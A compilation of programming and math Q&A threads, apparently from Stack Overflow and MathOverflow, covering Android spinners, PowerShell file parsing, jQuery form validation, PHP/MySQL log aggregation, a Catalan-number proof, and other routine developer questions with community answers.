        spinner1 = (Spinner) findViewById(R.id.spinner1);

        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(this,
        R.array.countries,
        android.R.layout.simple_list_item_1);

        spinner1.setAdapter(adapter);

        spinner1.setOnItemSelectedListener(new OnItemSelectedListener() {
            public void onItemSelected(AdapterView<?> parent, View v, int position, long id) {
                TextView tv = (TextView)v;   // cast the View to a TextView
                if ("Canada".equals(tv.getText().toString()));
                {
                    addItemsOnSpinner2();
                }
            }

            public void onNothingSelected(AdapterView<?> arg0) {

            }
        });
    }

    // add items into spinner dynamically

    public void addItemsOnSpinner2() {

        spinner2 = (Spinner) findViewById(R.id.spinner2);
        List list = new ArrayList();
        list.add("hello");
        list.add("holla");
        list.add("hey");
        list.add("hi");
        ArrayAdapter dataAdapter = new ArrayAdapter(this,android.R.layout.simple_spinner_item, list);
        dataAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
        spinner2.setAdapter(dataAdapter);
    }

    public void addListenerOnSpinnerItemSelection() {
        spinner1 = (Spinner) findViewById(R.id.spinner1);
        spinner2 = (Spinner) findViewById(R.id.spinner2);
        spinner1.setOnItemSelectedListener(new Spinner2());
        spinner2.setOnItemSelectedListener(new Spinner2());

    }

    public void addListenerOnButton() {

        button = (Button) findViewById(R.id.button1);

        button.setOnClickListener(new OnClickListener() {

            @Override
            public void onClick(View v) {

                Toast.makeText(MainActivity.this,
                    "Result : " +
                    "\nSpinner 1 : "+ String.valueOf(spinner1.getSelectedItem()) +
                    "\nSpinner 2 : "+ String.valueOf(spinner2.getSelectedItem()), Toast.LENGTH_SHORT).show();
            }

        });
    }
}

Spinner2.java*
public class Spinner2 implements OnItemSelectedListener {

    @Override
    public void onItemSelected(AdapterView parent, View view, int pos, long id) {
        Toast.makeText(parent.getContext(),
            parent.getItemAtPosition(pos).toString(),
            Toast.LENGTH_SHORT).show();
    }

    @Override
    public void onNothingSelected(AdapterView parent) {

    }
}

A: here is the deal.. the onItemSelected method is still called when the Spinner has just been created without you selecting any option. A simple workaround for this is to add an extra option in spinner liek "Select" or "None" and have a if-else construct in onItemSelected method just like this:-
@Override
public void onItemSelected(AdapterView parent, View view, int pos, long id) {
    if(pos==0) {
        //do something;
    } else {
        Toast.makeText(parent.getContext(),
            parent.getItemAtPosition(pos).toString(),
            Toast.LENGTH_SHORT).show();
    }
}

A: As @d3m0li5h3r rightly mentions

onItemSelected method is still called when the Spinner has just been initialised

So, here is a workaround, instead of adding extra element in spinner,..
    spinner1.setOnItemSelectedListener(new OnItemSelectedListener() {
    boolean check = false;

                public void onItemSelected(AdapterView<?> parent, View v, int position, long id) {
                 if(count){
                    TextView tv = (TextView)v;   // cast the View to a TextView
                    if ("Canada".equals(tv.getText().toString()));
                    {
                        addItemsOnSpinner2();
                    }
                }
                  check = true;
                }

                public void onNothingSelected(AdapterView<?> arg0) {

                }
            });


text:
Q: Powershell skip first 2 lines of txt file when importing it I have a powershell script designed to read a txt file on a remote server and import it into SQL.
I want to be able to skip the first 2 lines of the txt file.  I am currently using the code below to import the file.  The txt file is delimited
$datatable = new-object System.Data.DataTable
$reader = New-Object System.IO.StreamReader($empFile)
$columns = (Get-Content $empfile -First 1).Split($empFileDelimiter)

    if ($FirstRowColumnNames -eq $true)

        {
            $null = $reader.readLine()

        }

    foreach ($column in $columns)

        {
            $null = $datatable.Columns.Add()
        }

    # Read in the data, line by line, not column by column
    while (($line = $reader.ReadLine()) -ne $null)

        {

            $null = $datatable.Rows.Add($line.Split($empFiledelimiter))

The column parameter takes the first line of the txt file and creates the columns for the PS datatable.
The problem I have is the first two lines of the txt file are not needed and I need to skip them and use the third line of the txt file for the columns.  I have the following line of code which will do this but I am uncertain how to integrate it into my code.
get-content $empFile | select-object -skip 2

A: just a quick one liner
(Get-Content $empFile| Select-Object -Skip 2) | Set-Content $empFile

A: Put in two unused calls to ReadLine(). Something like this:
$datatable = new-object System.Data.DataTable
$reader = New-Object System.IO.StreamReader($empFile)
$reader.ReadLine()
$reader.ReadLine()
$columns = ($reader.ReadLine()).Split($empFileDelimiter)
...

A: Create an array for the $empfile without the first two lines, then use the first item of the array for the Columns, like this:
$Content = Get-Content $empFile | Select-Object -Skip 2
$columns = $Content[0].Split($empFileDelimiter)


text:
Q: Submit form after calling e.preventDefault() I'm doing some simple form validation here and got stuck on a very basic issue. I have 5 field pairs for name and entree (for a dinner registration). The user can enter 1-5 pairs, but an entree must be selected if a name is present. Code:
http://jsfiddle.net/eecTN/1/
<form>
    Name: <input name="atendeename[]">
    Entree: <input name="entree[]">

    Name: <input name="atendeename[]">
    Entree: <input name="entree[]">

    Name: <input name="atendeename[]">
    Entree: <input name="entree[]">

    Name: <input name="atendeename[]">
    Entree: <input name="entree[]">

    Name: <input name="atendeename[]">
    Entree: <input name="entree[]">

    <input type="submit" value="Submit">
</form>

// Prevent form submit if any entrees are missing
$('form').submit(function(e){

    e.preventDefault();

    // Cycle through each Attendee Name
    $('[name="atendeename[]"]', this).each(function(index, el){

        // If there is a value
        if ($(el).val()) {

            // Find adjacent entree input
            var entree = $(el).next('input');

            // If entree is empty, don't submit form
            if ( ! entree.val()) {
                alert('Please select an entree');
                entree.focus();
                return false;
            }
        }
    });

    $('form').unbind('submit').submit();

});

The error message is working, but it's submitting the form every time. I know there's something wrong with this line:
$('form').unbind('submit').submit();

...but I'm not sure what I need to do.

A: $('form').submit(function(e){

    var submitAllow = true;

    // Cycle through each Attendee Name
    $('[name="atendeename[]"]', this).each(function(index, el){

        // If there is a value
        if ($(el).val()) {

            // Find adjacent entree input
            var entree = $(el).next('input');

            // If entree is empty, don't submit form
            if ( ! entree.val()) {
                alert('Please select an entree');
                entree.focus();
                submitAllow = false;
                return false;
            }
        }
    });

    return submitAllow;

});

A: Actually this seems to be the correct way:
$('form').submit(function(e){

    //prevent default
    e.preventDefault();

    //do something here

    //continue submitting
    e.currentTarget.submit();

});

A: Use the native element.submit() to circumvent the preventDefault in the jQuery handler, and note that your return statement only returns from the each loop, it does not return from the event handler
$('form').submit(function(e){
    e.preventDefault();

    var valid = true;

    $('[name="atendeename[]"]', this).each(function(index, el){

        if ( $(el).val() ) {
            var entree = $(el).next('input');

            if ( ! entree.val()) {
                entree.focus();
                valid = false;
            }
        }
    });

    if (valid) this.submit();

});

A: $(document).ready(function(){
      $('#myform').on('submit',function(event){
            // block form submit event
            event.preventDefault();

            // Do some stuff here
            ...

            // Continue the form submit
            event.currentTarget.submit();
      });
});

Source

A: Sorry for delay, but I will try to make perfect form :)
I will added Count validation steps and check every time not .val(). Check .length, because I think is better pattern in your case. Of course remove unbind function.
My jsFiddle
Of course source code:
// Prevent form submit if any entrees are missing
$('form').submit(function(e){

    e.preventDefault();

    var formIsValid = true;

    // Count validation steps
    var validationLoop = 0;

    // Cycle through each Attendee Name
    $('[name="atendeename[]"]', this).each(function(index, el){

        // If there is a value
        if ($(el).val().length > 0) {
            validationLoop++;

            // Find adjacent entree input
            var entree = $(el).next('input');

            var entreeValue = entree.val();

            // If entree is empty, don't submit form
            if (entreeValue.length === 0) {
                alert('Please select an entree');
                entree.focus();
                formIsValid = false;
                return false;
            }

        }

    });

    if (formIsValid && validationLoop > 0) {
        alert("Correct Form");
        return true;
    } else {
        return false;
    }

});

A: The problem is that, even if you see the error, your return false affects the callback of the .each() method ... so, even if there is an error, you reach the line
$('form').unbind('submit').submit();

and the form is submitted.
You should create a variable, validated, for example, and set it to true. Then, in the callback, instead of return false, set validated = false.
Finally...
if (validated) $('form').unbind('submit').submit();

This way, only if there are no errors will the form be submitted.

A: The simplest solution is just to not call e.preventDefault() unless validation actually fails. Move that line inside the inner if statement, and remove the last line of the function with the .unbind().submit().

A: came across the same prob and found no straight solution to it on the forums etc. Finally the following solution worked perfectly for me:
simply implement the following logic inside your event handler function for the form 'submit' Event:
document.getElementById('myForm').addEventListener('submit', handlerToTheSubmitEvent);

function handlerToTheSubmitEvent(e){
    //DO NOT use e.preventDefault();

    /*
    your form validation logic goes here
    */

    if(allInputsValidatedSuccessfully()){
         return true;
     }
     else{
         return false;
     }
}

SIMPLE AS THAT;
NOTE: when a 'false' is returned from the handler of the form 'submit' event, the form is not submitted to the URI specified in the action attribute of your html markup; until and unless a 'true' is returned by the handler; and as soon as all your input fields are validated a 'true' will be returned by the Event handler, and your form is gonna be submitted;
ALSO NOTE THAT: the function call inside the if() condition is basically your own implementation of ensuring that all the fields are validated and consequently a 'true' must be returned from there otherwise 'false'

A: In my case there was a race, as I needed the ajax response to fill a hidden field and send the form after it's filled. I fixed it with putting e.preventDefault() into a condition.
var all_is_done=false;
$("form").submit(function(e){
  if(all_is_done==false){
   e.preventDefault();
   do_the_stuff();
  }
});
function do_the_stuf(){
  //do stuff
  all_is_done=true;
  $("form").submit();
}

A: Why not bind the submit button event than the form itself?
it would really much easier and safer if you bind the buttons than the form itself as the form will mostly submit unless you will use preventDefault()

$("#btn-submit").on("click", function (e) {
    var submitAllow = true;
    $('[name="atendeename[]"]', this).each(function(index, el){
        // If there is a value
        if ($(el).val()) {
            // Find adjacent entree input
            var entree = $(el).next('input');

            // If entree is empty, don't submit form
            if ( ! entree.val()) {
                alert('Please select an entree');
                entree.focus();
                submitAllow = false;
                return false;
            }
        }
    });
    if (submitAllow) {
        $("#form-attendee").submit();
    }
});

<form id="form-attendee">
    Name: <input name="atendeename[]">
    Entree: <input name="entree[]">

    Name: <input name="atendeename[]">
    Entree: <input name="entree[]">

    Name: <input name="atendeename[]">
    Entree: <input name="entree[]">

    Name: <input name="atendeename[]">
    Entree: <input name="entree[]">

    Name: <input name="atendeename[]">
    Entree: <input name="entree[]">

    <button type="button" id="btn-submit">Submit<button>
</form>

A: Binding to the button would not resolve for submissions outside of pressing the button e.g. pressing enter


text:
Q: R - Sys.time() and as.POSIXct() issue I want to run a code when sys.time() is specified.
I don't understand why if I write:
inputTime <- as.POSIXct("2018-02-21 14:51:00")

while(TRUE) {
  if(Sys.time() == inputTime){
    a <- 5
    b <- 6
    c <- a+b

    print(c)
  }
}

I don't get any result, but if I write something like:
inputTime <- Sys.time()+3

while(TRUE) {
  if(Sys.time() == inputTime){
    a <- 5
    b <- 6

    c <- a+b

    print(c)
  }
}

I get the result I was looking for (11 in this case).
Can you please help me?


text:
Q: Scrapy returning empty lists when using css I am trying to scrape nordstrom product descriptions. I got all the item links (stored in local mongodb db) and now am itertating through them and here is an example link https://www.nordstrom.ca/s/leith-ruched-body-con-tank-dress/5420732?origin=category-personalizedsort&breadcrumb=Home%2FWomen%2FClothing%2FDresses&color=001
My code for the spider is:
def parse(self, response):
    items = NordstromItem()
    description = response.css("div._26GPU").css("div::text").extract()
    items['description'] = description
    yield items

I also tried scrapy shell and the returned page is blank.
I am also using scrapy random agents.

A: I suggest you to use css or xpath selector to get the info you want. Here's more about it: https://docs.scrapy.org/en/latest/topics/selectors.html
And you can also use css/xpath checker to help identify if the selector gets the info you want. Like this Chrome extesion: https://autonomiq.io/chropath/


text:
Q: Unique multidimensional arrays values with different key values I have a MySQL table where I store all the website page loads in something like this:
[IP] [date] [hostname]
The main query is something like
$log = mysqli_query($con, "SELECT * FROM log");

Then I put all the values into an array:
while ($result = mysqli_fetch_assoc($log)) {
  $log_array[] = $result;
}

So now I have a PHP array named $log_array with aprox. 20K rows.
Obviously there are duplicate IP entries.
Example:
Array
(
    [0] => Array
        (
            [ip] => 12.34.56.78
            [date] => 2014-11-25 22:03:01
            [host] => fakehost1
        )

    [1] => Array
        (
            [ip] => 12.34.56.78
            [date] => 2014-11-25 22:03:01
            [host] => fakehost1
        )

    [2] => Array
        (
            [ip] => 98.76.54.32
            [date] => 2014-11-25 22:03:03
            [host] => fakehost2
        )

    [3] => Array
        (
            [ip] => 12.34.56.78
            [date] => 2014-11-25 22:03:05
            [host] => fakehost3
        )

    [4] => Array
        (
            [ip] => 98.76.54.32
            [date] => 2014-11-25 22:03:06
            [host] => fakehost2
        )
)

I would like to obtain an array with unique IP addresses and the last date and last host, and also count the duplicate IPs, so I would like to obtain something like this:
Array
(
    [0] => Array
        (
            [ip] => 12.34.56.78
            [times] => 3
            [lastdate] => 2014-11-25 22:03:05
            [lasthost] => fakehost3
        )

    [1] => Array
        (
            [ip] => 98.76.54.32
            [times] => 2
            [lastdate] => 2014-11-25 22:03:06
            [lasthost] => fakehost2
        )
)

I've been trying to solve this for weeks reading everywhere and learning the php array functions but I can't see how to do it.
Thanks in advance!

A: You can use subqueries. Example:
SELECT l.ip, COUNT(SELECT * FROM log l2 WHERE l.ip = l2.ip) as times FROM log GROUP BY ip

Obviously, you need to extend it by your other values.

A: This should work :
$log = mysqli_query($con, "SELECT ip,date,host,count(*) as tot FROM log GROUP by ip ");

A: Using PHP
You'd use a foreach. For example: https://eval.in/227238
$arrFinal = array();
foreach($a as $record) {
   if( array_key_exists($record['ip'], $arrFinal) ) {
     //Update
     $arrFinal[$record['ip']]['times'] += 1; //+1 to the time
     if( strtotime($record['date']) > strtotime($arrFinal[$record['ip']]['lastdate']) ) {
         //This is a newer record
         $arrFinal[$record['ip']]['lastdate'] = $record['date']; //Update last date
         $arrFinal[$record['ip']]['lasthost'] = $record['host']; //Update last host
     }
   } else {
      //New entry
      $arrFinal[$record['ip']] = array(
        'ip' => $record['ip'],
        'times' => 1,
        'lastdate' => $record['date'],
        'lasthost' => $record['host']
      );
   }
}

Using MySQL
select l1.ip,
       count(l1.`ip`) as times,
       max(l1.`date`) as lasttime,
       (select l2.`host` as lasthost
        from log l2
        where l2.ip = l1.ip
        order by `date` desc
        limit 1) as lasthost
from log l1
group by l1.`ip`

With the same dummy results in the PHP example we'd get the following result set;
+-----------+-------+---------------------+-----------+
| ip        | times | lasttime            | lasthost  |
+-----------+-------+---------------------+-----------+
| 127.0.0.1 |     3 | 2014-11-25 22:03:01 | localhost |
| 88.88.88  |     2 | 2014-11-25 22:03:01 | google    |
+-----------+-------+---------------------+-----------+
2 rows in set

A: Try using the SELECT DISTINCT statement.
$log = mysqli_query($con, "SELECT DISTINCT ip, times, lastdate, lasthost FROM log");


text:
Q: Thymeleaf - skip table creation if the iterated list is null I have an html thymeleaf template where I build a table iterating over a list:

            Setup Name
            Setup Path

The problem is that the element upgradeState.targetUpgradeSetups may be null, so I would like to build this table only when the element is not null.

Note: if the element upgradeState.targetUpgradeSetups is not null, then it's guaranteed for the list setups to be not null either. Hence I only need to check for the parent element.

I have tried to use the th:if statement as follows:

But even like that, I still get the same exception:
Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1007E: Property or field 'setups' cannot be found on null
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.readProperty(PropertyOrFieldReference.java:213)
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:104)
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.access$000(PropertyOrFieldReference.java:51)
    at org.springframework.expression.spel.ast.PropertyOrFieldReference$AccessorLValue.getValue(PropertyOrFieldReference.java:406)
    at org.springframework.expression.spel.ast.CompoundExpression.getValueInternal(CompoundExpression.java:90)
    at org.springframework.expression.spel.ast.SpelNodeImpl.getValue(SpelNodeImpl.java:109)
    at org.springframework.expression.spel.standard.SpelExpression.getValue(SpelExpression.java:328)
    at org.thymeleaf.spring5.expression.SPELVariableExpressionEvaluator.evaluate(SPELVariableExpressionEvaluator.java:263)
    ... 74 more

I didn't manage to find a specific example/reference about Thymeleaf for such issue, could anyone please suggest the right way?

A: You need to count on Thymeleaf Attribute Precedence. According to the order, Thymeleaf will parse iteration first and only after the condition, when placed into the same tag. The code which would work for you may look like ...

        Setup Name
        Setup Path


text:
Q: jQuery-Validation-Engine - combin with FormData send method I am using the jQuery FormData method for submitting a form and would like to combine it with the jQuery-Validation-Engine.
My code:
$(document).ready(function() {

    $("#myform").validationEngine();

    $(':submit').click(function(e){
        e.preventDefault();

        var formData = new FormData($('#myform')[0]);
        $.ajax({
            url: 'upload.php',
            type: 'POST',
            xhr: ...
            beforeSend: beforeSendHandler,
            success: completeHandler,
            error: errorHandler,
            data: formData,
            cache: false,
            contentType: false,
            processData: false
        });

    });

    function beforeSendHandler() {

    }

With the above code, validation works when changing from input field to input field. But I need the final validation, when the user presses the submit button.
And submitting should be stop if there is a validation error.
So, how do I integrate that feature? (Since this FormData actions seem to overwrite the validationEngine.)

A: try like this
$(':submit').click(function(e){
 $("#myform").validationEngine(
 {
  onValidationComplete: function(form, status){
      if(status == true){
        submitMessage();
    }
 });
});

function submitMessage()
 {
var formData = new FormData($('#myform')[0]);
    $.ajax({
        url: 'upload.php',
        type: 'POST',
        xhr: ...
        beforeSend: beforeSendHandler,
        success: completeHandler,
        error: errorHandler,
        data: formData,
        cache: false,
        contentType: false,
        processData: false
    });

}


text:
Q: Reusable NSView from Storyboard to Add to NSStackView I have an NSViewController defined in my storyboard that contains a view that holds various labels and a button. They are aligned using auto layout.

I want to use this as a UI prototype so that I can generate lots of these and add them to a vertical NSStackView much like table rows.
I have a subclass of my NSViewController defined like this:
class ApproachRowVC: NSViewController {

  @IBOutlet var quantityLabel: NSTextField!
  @IBOutlet var detailsLabel: NSTextField!
  @IBOutlet var holdingLabel: NSTextField!

  override func viewDidLoad() {
    super.viewDidLoad()

  }

  @IBAction func clickDelete(_ sender: Any) {
    print("Delete")
  }
}

In the controller where I have the NSStackView and want to add these rows, I have tried something along these lines, but I'm mostly confused how this is supposed to happen. This doesn't work, but I'm unsure how to proceed:
let test = ["one", "two", "three"]
for label in test{
  let approachRowVC = self.storyboard?.instantiateController(withIdentifier: "ApproachRow") as! ApproachRowVC
  approachRowVC.quantityLabel.stringValue = label
  approachList.addArrangedSubview(approachRowVC.view)
}

Any recommendations on how to pull this off?


text:
Q: HTML input type=number- enter multiple numbers separated by commas? Would like a HTML number field where the user can enter numbers separated by commas and spaces... like '1, 2, 3.' Right now it only accepts inputs without commas and spaces and won't let me submit the form with commas/spaces in the field.
Here's a sample of my simple input field now:
     <input id="A" name="HLA-A" type="number" />
Need number field so number keyboard will pop up on smart phones.
Did a good bit of looking and I'm surprised I didn't find anything on this... perhaps there is a simple answer? Anyone have any ideas?
Thanks!

A: If you REALLY need type="number", then you should do as follows:
<input type="number" />,<input type="number" />,<input type="number" />

Otherwise, you could do as follows:
<input type="text" pattern="\d+, \d+, \d+" />

Both ways, some browsers may not support it.


text:
Q: Rails continues to iterate After elements are removed I have an each loop that I want to remove elements from as I go through it. Something like this:
 @list.each do |elem|
      using = elem.get_similar_elems
      using.each do |u|
          //do stuff with 'using'
       end
      @list = @list - using
  end

I was thinking that the list - using part would remove it from the overall .each loop.
But instead, it continues to loop over the elements. I know that list - using is successful, though, because the //do stuff part isn't doing anything (i.e., there is nothing in using).
I am thinking that perhaps the each loop takes the collection at the beginning and list - using can't affect that.
So my 2 Q's are:
-1-Is that correct?
-2-How can my goal be accomplished?

A: To begin with list - using doesn't delete items from @list (I'm assuming a typo, there was no @). It simply returns the difference.
Deleting them would be @list = @list - using. But that means changing @list in the middle of the iteration and the behavior will be completely chaotic. You should store the similar items in a temporary array and remove them from the list when you're done iterating.
A potential implementation that may work if I understand your comments:
    used = []
    @list.each do |elem|
      using = elem.get_similar_elems
      # discard elements used in previous iteration
      # if you really want to do this, it's not clear
      using = using - used
      # add new used elements
      used.concat using
      # do stuff with using

A: Without knowing what is contained in @list, something like this might work:
@list.each do |elem|
   elem.get_similar_elems.each do |u|
      //do stuff with 'using'
   end
   @list.delete(elem)
end

A: Can you just get all the similar elements at the beginning?
@list.flat_map(&:get_similar_elems).uniq.each do |u|
end

edit: I think the temp array approach other people are mentioning would look something like this (you could alternatively use a Set)
already_seen = []
@list.each do |elem|
  next if already_seen.include?(elem)
  using = elem.get_similar_elems
  using.each do |u|
  end
  already_seen += using
end


text:
Q: Click link when clicking LI Ok, I have this list layout that I use, and I want the list row to highlight when I hover it. Now, that's not a problem really, since I can use javascript to change classes for example, but I want the cursor to change to a pointer when hovering and when clicked, I want to follow the link within.
Example code can be found here:
http://sandman.net/test/hover_links.html
I also want to highlight the LI only when there is an eligible link inside it. Preferably using jQuery... Any ideas?
--
I've edited the code to incorporate the suggestion below, and the problem is that the click() action fires when I click other items inside the LI...
--
Right, so now I've edited the code. I've added a class to the link(s) that SHOULD be followed on click, and then a event.stopPropagation() on the links that does NOT have this class, so they are handeled by the browser accordingly.
Thanks again!

A: jQuery('li:has(a)')
    .css('cursor', 'pointer')
    .hover(function(){
        jQuery(this).addClass('highlight');
    }, function(){
        jQuery(this).removeClass('highlight');
    })
    .click(function(e){
        if (e.target === this) {
            window.location = jQuery('a', this).attr('href');
        }
    });

A: This worked for me
$('#element li').hover(function() {
        $(this).animate({
          backgroundColor: "#4CC9F2"
        }, "normal")
      }, function() {
        $(this).animate({
          backgroundColor: "#34BFEC"
        }, "normal")
      });

I used jquery.color.js plugin it animates really nice hover effect color change


text:
Q: Sequences that sums up to second differences of Bell and Catalan numbers Let  $f(n)$ be A007814, the exponent of the highest power of $2$ dividing $n$, a.k.a. the binary carry sequence, the ruler sequence, or the $2$-adic valuation of $n$.
Let $g(n)$ be A025480, $g(2n) = n$, $g(2n+1) = g(n)$.
Then we have an integer sequences given by
\begin{align}
a_1(0)=a_1(1)&=1\\
a_1(2n+1) &= a_1(n)+a_1(g(n-1))\\
a_1(2n)& = a_1(n-2^{f(n)})+a_1(2n-2^{f(n)})+a_1(g(n-1))
\end{align}
and
\begin{align}
a_2(0)=a_2(1)&=1\\
a_2(2n+1) &= a_2(n)+a_2(g(n-1))\\
a_2(2n)& = a_2(n) + a_2(n-2^{f(n)}) = a_2(2n-2^{f(n)})+a_2(g(n-1))
\end{align}
Let
$$s_k(n)=\sum\limits_{j=0}^{2^n-1}a_k(j)$$
Then I conjecture that $s_1(n)$ is A011965, second differences of Bell numbers and $s_2(n)$ is A026012, second differences of Catalan numbers.
I also conjecture that $a_1(\frac{4^n-1}{3})$ is A141154 and $a_2(\frac{4^n-1}{3})$ is A000958.
Is there a way to prove it?
Similar questions:

*

*Sum with Stirling numbers of the second kind

*Recurrence for the sum

*Pair of recurrence relations with $a(2n+1)=a(2f(n))$

*Sequence that sums up to INVERTi transform applied to the ordered Bell numbers

A: Let me address the case of $s_2(n)$.
First we notice that $g(n-1) = k$ whenever $n=(2k+1)2^t$. Then
for $n=2^{t_1}(1+2^{1+t_2}(1+\dots(1+2^{1+t_\ell}))\dots)>1$ with $t_j\geq 0$, we have
$$a_2(n) = \begin{cases}
a_2\bigg(2^{t_2}(1+\dots(1+2^{1+t_\ell}))\dots)\bigg) + a_2\bigg(2^{t_3}(1+\dots(1+2^{1+t_\ell}))\dots)\bigg) & \text{if}\ t_1=0; \\
a_2\bigg(2^{t_1-1}(1+2^{1+t_2}(1+\dots(1+2^{1+t_\ell}))\dots)\bigg) + a_2\bigg(2^{t_1+t_2}(1+\dots(1+2^{1+t_\ell}))\dots)\bigg) & \text{if}\ t_1>0.
\end{cases}
$$
In contrast to previous questions by the OP, obtaining an explicit formula for $a_2(n)$ here seems to be quite challenging. Still, thanks to the connection
$$s_2(n) = \sum_{\ell=0}^n \sum_{t_1+\dots+t_\ell\leq n-\ell} a_2\bigg( 2^{t_1}(1+2^{1+t_2}(1+\dots(1+2^{1+t_\ell}))\dots) \bigg),$$
we can translate the above recurrences over to $s_2(n)$.

Let's partition $s_2(n)$ into smaller sums depending on the 2-adic valuation of the summands:
$$s_2(n) = \sum_{k\geq 0} s^{(k)}_2(n),$$
where
$$s^{(k)}_2(n) := \sum_{j=0\atop \nu_2(2^n+j)=k}^{2^n-1} a_2(j).$$
From the recurrence above, it follows that for $n>1$,
$$s_2^{(0)}(n) = \sum_{t=0}^{n-1} s_2(t) = s_2(n-1) + s_2^{(0)}(n-1) = 2s_2^{(0)}(n-1) + \sum_{k\geq 1} s^{(k)}_2(n-1) $$
and for $k>0$
$$s_2^{(k)}(n) = \sum_{m\geq k-1} s_2^{(m)}(n-1).$$
That is, in the matrix form we have:
$$
\begin{bmatrix} s_2^{(0)}(n)\\ s_2^{(1)}(n)\\ s_2^{(2)}(n) \\ \vdots \end{bmatrix}
=
M\cdot
\begin{bmatrix} s_2^{(0)}(n-1)\\ s_2^{(1)}(n-1)\\ s_2^{(2)}(n-1) \\ \vdots \end{bmatrix} = M^{n-1}\cdot \begin{bmatrix} 1\\ 1\\ 0\\ 0\\ \vdots \end{bmatrix}
$$
where
$$M: = \begin{bmatrix}
2 & 1 & 1 & 1 &  \\
1 & 1 & 1 & 1 & \ddots \\
0 & 1 & 1 & 1 & \ddots \\
0 & 0 & 1 & 1 & \ddots \\
& \ddots  & \ddots & \ddots & \ddots \\
\end{bmatrix}.$$

By induction on $n$ it can be verified that the generating functions for sequences $\big(s_2^{(k)}(n)\big)_{n\geq 0}$ are expressed in terms of the one for Catalan numbers $C(x):=\frac{1-\sqrt{1-4x}}{2x}$ as follows:
$$\sum_{n\geq 0} s_2^{(k)}(n)\cdot x^n = (1-x) x^k C(x)^{k+2},$$
or in other words:
$$s_2^{(k)}(n) = \frac{k+2}{n+2}\binom{2n-k+1}{n-k} - \frac{k+2}{n+1}\binom{2n-k-1}{n-k-1}.$$
Summing the above generating functions over $k\geq 0$ yields:
$$\sum_{n\geq 0} s_2(n)\cdot x^n = \frac{(1-x)C(x)^2}{1-xC(x)} = \frac{(1-x)^2C(x) - 1 + x}{x^2},$$
proving the conjecture for $s_2(n)$.


text:
Q: How to track subfolders with Google analytics? I have a site with Google analytics tracking. It's a Moodle site, but I don't think that matters. Let's say it's address is www.example.com
I also have a Mahara site that's been set up in a subfolder of the Moodle site. The address is www.example.com/mahara
All of this was set up before I started this job, and whoever set up the Mahara site never added analytics tracking to it.
Now I need to get analytics stats for the Mahara site. I could just add the main Moodle tracking code to the Mahara site, and use filters to seperate out the traffic, but I'd like to set up a separate profile just for Mahara so it doesn't mess with my Moodle stats.
Any suggestion on how to do this? Google won't let me create a new profile/view for a sub folder, so how do I do this?
Cheers.

A: Correct, it won't let you create a new view for a subfolder.  Instead you have to create a new view and make a filter for that subfolder.

*

*select the admin tab

*work down from accounts -> properties -> views

*make a new view

*click 'filters'

*select filter type, and for source or destination,
   select traffic to the subdirectories

*set a filter for /mahara/

*

*for moodle

*

*filter type will be "exclude"

*destination will be "traffic to the subdirectories"

*expression will be "begins with"

*for mahara

*

*filter type will be "include only"

*destination will be "traffic to the subdirectories"

*expression will be "begins with"

hope it helps, good luck!


text:
Q: What should I do if I want to add 100 to each number in Ubuntu vi Editor? What should I do if I want to add 100 to each number in Ubuntu vi Editor?
The file I am trying to change contains numbers from 0 to 100 in ().
I want to add 100 to all the numbers in these brackets.
Examples
<Original File>
(1)
(2)
(3)
(4)

<Changed File>
(101)
(102)
(103)
(104)

Please help me!

A: Realistically, I would pipe this to awk.  There's got to be a cleaner way to do this in vim, but the following (seems to) work:
:g/(\d*)/s/(\(\d*\))/\="(".(submatch(1)+100).")"/g


text:
Q: Issue with css wrap div in another div This is the code
<!DOCTYPE html>

please check this image https://www.dropbox.com/s/3wrivi3760l3t7f/123.jpg
I want to remove the corner of yellow div so it should not go out from its parent div and I want to use this type of box in my site for feature products I have tried many things but I'm unable to do it!
Thanks In advance.

A: Inside:
div.p

Insert:
overflow: hidden;

Also, use this in div.p > div for IE 9+ support :)
-ms-transform: rotate(40deg);

A: I am just guessing.
Your inner  is positioned with display: absolute, thus it is not within the document flow.
I assume therefor overflow:hidden does not apply.
However try the following:
Move overflow:hidden to .p not to the inner div
If this does not work I would use three divs instead, a third one as border and use z-order.

A: Check this jsfiddle
div.p
   {
      width:200px;
      height:300px;
      background-color:red;
      border:2px solid black;
      overflow: hidden;
      position:absolute;
   }


text:
Q: Losing Segue Action when adding custom image in navigation bar button item I`m developing a app using Storyboards.
In one ViewController I have a button on navigationBar that links to the second ViewController. This transiction is defined in the storyboard (in this case I have defined a push segue to link the two ViewControllers)
I have changed the image of the button following this post in Stackoverflow.
But the problem is: That change in the View of the button breaks the push segue that I have defined in the storyboard. So the question is: How to still change the background of the BarButton without killing the segue action?
I dont want to programmatically reset the segue using performSegueWithIdentifier. This makes no sense since I already have defined it on the storyboard, so I think that must be another solution.

A: You cannot use the quoted code and use the segue at the same time. The code introduced a new object, a UIButton that gets the click, so your storyboard object will not get it any more.
You could try adding a standard custom UIButton in storyboard and change the code as follows:
// instead of
UIButton *someButton = [[UIButton alloc] initWithFrame:frameimg];

// use
_someButton.frame = frameimg;

Assuming that your _someButton is the name for the IBOutlet of the button from storyboard.
If this does not work, you should go with performSegueWithIdentifier. I do not see the problem with this, either. You anyway include a @selector with the custom UIButton. Just use it to initiate the segue. You can still configure the segue, etc., in the storyboard, so nothing is lost, right? In fact, the refactoring above seems like more work.

A: I think this is going to be your best solution:
In viewDidLoad:
self.navButton = [UIButton buttonWithType:UIButtonTypeCustom];
self.navButton.frame = CGRectMake(0, 0, 30, 30);
[self.navButton setImage:[UIImage imageNamed:@"yourImage"] forState:UIControlStateNormal];
[self.navButton addTarget:self action:@selector(yourNavButtonAction) forControlEvents:UIControlEventTouchUpInside];

UIBarButtonItem *logOutBarButton = [[UIBarButtonItem alloc] initWithCustomView:self.navButton];

[self.navigationItem setRightBarButtonItems:[NSArray arrayWithObject:navButton, nil]];

And in the method handling your navButton tap (yourNavButtonAction from above)
[self performSegueWithIdentifier:@"yourSegueIdentifier" sender:self];

**Note that this will require you to create a storyboard segue that originates from your ViewController itself, as opposed to a button on that ViewController. Control drag from your ViewController to the target ViewController, give the resulting segue an identifier (yourSegueIdentifier above) and you're set.


text:
